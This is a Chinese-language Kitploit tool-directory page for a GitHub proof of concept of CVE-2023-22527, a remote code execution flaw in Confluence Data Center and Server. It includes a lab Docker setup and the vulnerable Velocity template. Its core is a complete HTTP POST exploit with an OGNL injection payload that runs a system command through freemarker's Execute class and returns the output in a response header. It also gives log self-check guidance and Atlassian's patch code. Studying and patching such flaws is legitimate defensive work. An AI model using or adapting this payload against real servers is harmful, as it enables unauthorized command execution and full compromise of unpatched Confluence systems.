Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-22527_Confluence_RCE — CVE-2023-22527 - Confluence Data Center 和 Confluence Server 中的 RCE(远程代码执行)漏洞 PoC | Kitploit
工具/GitHubGitHub/avento/cve-2023-22527_confluence_rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubavento/cve-2023-22527_confluence_rce

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 - Confluence Data Center 和 Confluence Server 中的 RCE(远程代码执行)漏洞 PoC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
26542年前Kitploit 审核通过
分享

CVE-2023-22527 Confluence RCE

CVE-2023-22527 - Confluence Data Center 和 Confluence Server 中的 RCE(远程代码执行)漏洞 PoC

参考

CVE-2023-22527 - Confluence Data Center 和 Confluence Server 中的 RCE(远程代码执行)漏洞 | Atlassian 支持 | Atlassian 文档

[CONFSERVER-93833] Confluence Data Center 和 Server 中的 RCE(远程代码执行)- CVE-2023-22527 - 为 Atlassian 产品创建并跟踪功能请求。](https://jira.atlassian.com/browse/CONFSERVER-93833)

https://twitter.com/TheDFIRReport/status/1749066611678466205

Atlassian Confluence - 远程代码执行(CVE-2023-22527)(projectdiscovery.io)

绕过 OGNL 沙箱的乐趣与慈善 - GitHub 博客

Docker 环境

root@kitploit:~
docker compose up -d

调试

您可以在端口 5008 上进行调试

差异对比

image-20240117093518010

漏洞位置

./confluence/confluence/template/aui/text-inline.vm

root@kitploit:~
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
    #set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
    #set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
    <span class="aui-icon icon-required"></span>
    <span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")

PoC

root@kitploit:~
POST /template/aui/text-inline.vm HTTP/1.1
Host: 192.168.31.3:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

自查

在 confluence/logs/confluence_access.2024-xx-xx.log 中

root@kitploit:~
192.168.11.1 - [23/Jan/2024:06:04:42 +0000] "POST /template/aui/text-inline.vm HTTP/1.1" 200 28906 677 /template/aui/text-inline.vm http-nio-8090-exec-7 "-"

调用栈

org.apache.struts2.views.velocity.StrutsVelocityContext#internalGet

↓

org.apache.struts2.views.jsp.ui.OgnlTool#findValue

↓

freemarker.template.utility.Execute

↓

java.lang.Runtime#exec(java.lang.String)

关键词

Velocity,SSTI 注入

补丁

root@kitploit:~
package com.atlassian.confluence.impl.struts;

import java.util.Set;
import ognl.Node;
import org.apache.struts2.ognl.StrutsOgnlGuard;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

public class ConfluenceOgnlGuard extends StrutsOgnlGuard {
    private static final Logger LOG = LoggerFactory.getLogger(ConfluenceOgnlGuard.class);
    private static final Set<String> BLOCKED_VAR_REFS = Set.of("#context", "#request", "#parameters", "#session", "#application", "#attr");

    public ConfluenceOgnlGuard() {
    }

    protected boolean skipTreeCheck(Node tree) {
        return false;
    }

    protected boolean checkNode(Node node) {
        return super.checkNode(node) || this.isBlockedVarRef(node);
    }

    protected boolean isBlockedVarRef(Node node) {
        String nodeClassName = node.getClass().getName();
        if ("ognl.ASTVarRef".equals(nodeClassName)) {
            String varRefValue = node.toString();
            if (BLOCKED_VAR_REFS.contains(varRefValue)) {
                if (!"#attr".equals(varRefValue)) {
                    LOG.warn("Expression contains blocked var ref [{}]", varRefValue);
                }

                return true;
            }
        }

        return false;
    }
}
下载工具